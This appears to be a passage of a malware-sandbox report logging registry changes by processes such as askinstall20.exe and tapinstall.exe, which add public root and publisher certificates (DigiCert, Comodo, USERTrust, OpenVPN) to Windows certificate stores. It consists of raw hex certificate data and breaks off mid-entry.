cscvauk5ykp.exetapinstall.exeaskinstall20.exevpn.tmpdescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d4040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be03419000000010000001000000082218ffb91733e64136be5719f57c3a15c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa24b0000000100000044000000420032004600410046003700360039003200460044003900460046004200440036003400450044004500330031003700450034003200330033003400420041005f0000002000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7 cscvauk5ykp.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c00000001000000040000000008000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd cscvauk5ykp.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E cscvauk5ykp.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 